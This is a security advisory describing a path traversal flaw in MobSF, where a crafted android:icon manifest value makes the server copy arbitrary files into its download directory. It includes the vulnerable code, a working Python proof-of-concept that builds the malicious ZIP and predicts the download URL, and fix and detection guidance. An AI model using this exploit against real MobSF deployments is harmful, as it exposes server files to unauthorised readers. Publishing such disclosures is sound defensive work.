GHSA-8j49-mmcx-4mp5: Path Traversal
Summary The findiconpathzip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.
An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWDDIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWEDEXTENSIONS.
Details elif iconpath.startswith(('res/', '/res/')): strippedrelativepath = iconpath.strip('/res') # Works for neither /res nor res fullpath = os.path.join(resdir, strippedrelativepath) if os.path.exists(fullpath): return fullpath fullpath += '.png' if os.path.exists(fullpath): return fullpath https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/iconanalysis.py#L126
This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWDDIR/<md5>-icon.<ext>: iconfile = findiconpathzip( appdic['md5'], respath, iconfrommfst) if iconfile and Path(iconfile).exists(): dwd = Path(settings.DWDDIR) out = dwd / (appdic['md5'] + '-icon' + Path(iconfile).suffix) copy2(iconfile, out) appdic['iconpath'] = out.name https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/iconanalysis.py#L101
Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>
PoC The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt): import hashlib import io import zipfile
DEFAULTHOST = "http://localhost:8000" DEFAULTTARGET = "res/../../../signatures/maltrail-malware-domains.txt"
MANIFESTTEMPLATE = """\ <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.icontraversal"> <application android:icon="{target}" android:label="PoC App"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest> """
MAINACTIVITY = """\ package com.poc.icontraversal; import android.app.Activity; public class MainActivity extends Activity {} """
host = DEFAULTHOST target = DEFAULTTARGET host = host.rstrip("/")
crate ZIP buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIPDEFLATED) as zf: zf.writestr("AndroidManifest.xml", MANIFESTTEMPLATE.format(target=target)) zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAINACTIVITY) zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")
compute hash zipbytes = buf.getvalue() md5 = hashlib.md5(zipbytes).hexdigest()
write to disk outfile = "pocicontraversal.zip" with open(outfile, "wb") as f: f.write(zipbytes)
import os targetsuffix = os.path.splitext(target.strip("/res").split("/")[-1])[1] downloadfilename = f"{md5}-icon{targetsuffix}"
print(f"[+] ZIP created : {os.path.abspath(outfile)}") print(f"[+] Target file : {target}") print() print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI") print() print("[ Step 2 ] Wait for the scan to complete, then browse to:") print(f" {host}/download/{downloadfilename}")
Impact This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWEDEXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the iconpath field in the scan report (if the target does not exist the path will be empty).
Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.
Remediation This can fixed by using the ispathtraversal function to validate user input.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mobsfto a version that resolves this vulnerability.Fixed in 4.5.1
Event History
Frequently Asked Questions
Which deployments are realistically exposed?
MobSF instances that analyze attacker-controlled Android application packages are exposed. The issue occurs when the manifest supplies a malicious android:icon value that traverses outside the expected resource directory.
What access and conditions are required to exploit this?
An attacker needs the ability to submit or cause MobSF to analyze an Android package with a crafted manifest. Retrieving the copied file requires authentication to use the /download/<filename> endpoint, and the target file's extension must be included in ALLOWED_EXTENSIONS.
What mitigations are available until the fix is applied?
If patching cannot happen immediately, restrict who can submit Android packages for analysis and limit authenticated access to the download endpoint. Review ALLOWED_EXTENSIONS and avoid permitting unnecessary file extensions.
How can I check for possible exploitation?
Look for analyzed APKs whose android:icon manifest value contains path traversal sequences such as ../, particularly values beginning with res/ or /res/. Also investigate unexpected files in DWD_DIR that could have been copied from elsewhere on the server filesystem.